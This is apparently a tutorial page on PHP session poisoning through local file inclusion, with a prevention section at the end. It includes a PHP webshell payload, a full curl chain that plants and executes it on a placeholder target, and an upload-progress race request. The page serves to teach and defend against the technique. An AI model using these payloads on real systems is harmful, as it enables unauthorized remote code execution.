Session Poisoning
The session file is a file you can write to, whose path you already know, in a directory the worker can definitely read. It is the log-poisoning technique without the permission problem.
Why this beats log poisoning
Log poisoning fails most often on permissions: the worker cannot read /var/log/apache2.
The session directory has no such problem. PHP's session handler writes those files as the worker, so the worker can obviously read them back. And you already know the filename, because it is your own session ID, which the server told you.
The requirement is different: some value you control has to end up serialized into the session. That is common — a username, a preference, a search term, a language setting, a shopping basket, a failed-login counter carrying the attempted address.
Finding the file
# The filename is always sess_ followed by your session ID, which you have
# in your own cookie. No guessing.
# Debian / Ubuntu
/var/lib/php/sessions/sess_<PHPSESSID>
/var/lib/php/sessions/sess_a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
# RHEL / CentOS / Fedora
/var/lib/php/session/sess_<PHPSESSID>
# The PHP default when session.save_path is unset
/tmp/sess_<PHPSESSID>
# Alpine / many containers
/tmp/sess_<PHPSESSID>
# Confirm rather than guess: read the app source and look for
# session.save_path or ini_set('session.save_path', …).
# See /guide/php-filter-read
# Note: if the app uses Redis, Memcached, or a database session handler,
# there is no file and this technique does not apply at all. Check first.What the file looks like
# PHP's default session serializer writes:
# <key>|<serialized value><key>|<serialized value>…
username|s:5:"alice";theme|s:4:"dark";cart|a:0:{}
# The values go in verbatim inside the s:N:"…" wrapper. So if the app does
#
# $_SESSION['username'] = $_POST['username'];
#
# then registering or logging in as <?php system($_GET['cmd']); ?> gives you
username|s:30:"<?php system($_GET['cmd']); ?>";theme|s:4:"dark";
# The length prefix will be wrong if the app truncates or escapes, which
# corrupts the session — but include() does not care about the session
# format at all. It only needs the PHP tags to be present somewhere in
# the file. A corrupt session that still contains your payload is fine.The full chain
# 1. Get a session and note the ID.
curl -s -c jar.txt 'https://target.example/' >/dev/null
SID=$(grep PHPSESSID jar.txt | awk '{print $7}')
echo "$SID"
# 2. Get your payload into a session value. Which parameter depends on the
# app — a username field, a search box, a preference, a language code.
curl -s -b jar.txt 'https://target.example/profile.php' \
--data-urlencode 'display_name=<?php system($_GET["cmd"]); ?>' >/dev/null
# 3. Confirm it landed before trying to execute it. Read the session file.
curl -s -b jar.txt \
"https://target.example/index.php?page=php://filter/convert.base64-encode/resource=/var/lib/php/sessions/sess_$SID" \
| grep -oE '[A-Za-z0-9+/]{40,}={0,2}' | base64 -d
# 4. Include it.
curl -s -b jar.txt \
"https://target.example/index.php?page=/var/lib/php/sessions/sess_$SID&cmd=id"PHP_SESSION_UPLOAD_PROGRESS
There is a route into the session that needs no application cooperation at all.
PHP's upload-progress feature writes a key into $_SESSION during a multipart upload, and part of that key is a value you supply: the PHP_SESSION_UPLOAD_PROGRESS form field. The application does not have to store anything, validate anything, or even know the feature exists.
POST /index.php HTTP/1.1
Content-Type: multipart/form-data; boundary=x
--x
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php system($_GET['cmd']); ?>
--x
Content-Disposition: form-data; name="file"; filename="a.txt"
AAAA…
--x--
The catch is the timing. session.upload_progress.cleanup defaults to On, so the key is removed the moment the upload completes — the session file contains your payload only during the upload. You exploit it by sending a slow, large upload and firing the include in parallel while it is in flight.
That makes it a race, and it is the same race described in The Temp-File Race. It is worth knowing about because it works when the application stores nothing user-controlled in the session — which is the usual reason plain session poisoning is unavailable.
What stops it
- Non-file session storage. Redis, Memcached, a database, or an encrypted cookie. There is no file, so there is nothing to include. Check
session.save_handlerin the source first — this is the most common blocker. open_basedir. The session directory is outside the app tree. Effective.- Nothing user-controlled in the session. Fall back to
PHP_SESSION_UPLOAD_PROGRESSabove. - Escaping or length limits on the stored value. Fine as long as
<?phpand?>both survive intact. Test with a marker. session.upload_progress.enabled=Off. Removes the fallback. It is On by default but a few hardened builds disable it.
What does not stop it: the session file being corrupted by your payload. include() does not parse the session format.
Prevention
As with log poisoning, the write half is not the vulnerability. Applications are supposed to put user data in sessions. The fix is the sink.
- Allowlist the include parameter. Nothing else on this list matters if the parameter cannot name a path. See Defense in Depth.
open_basedirexcluding the session directory is genuine defence in depth and costs nothing.- Use a non-file session handler. Redis or a database removes this file from the filesystem entirely, and has operational benefits regardless.
session.upload_progress.enabled=Offif you do not use the feature, which almost nobody does.
Related
A read primitive plus a file whose contents you control is code execution. Write PHP into a log through a request header, then include the log.
PHP writes every upload to a temp file before the application sees it — including uploads the application then rejects. Include it during the window and the rejection never happened.
include() executes PHP instead of showing it to you. Base64-encode the stream first and it comes back as data — the single most useful request in a PHP inclusion engagement.
The technique that needs no configuration, no flag, and no version. Nothing in any php.ini stops it, which is why every live finding in 2026 starts here.
One fix works and the rest are mitigations. Knowing which is which is the difference between a remediation that holds and a config change that gets reported again next year.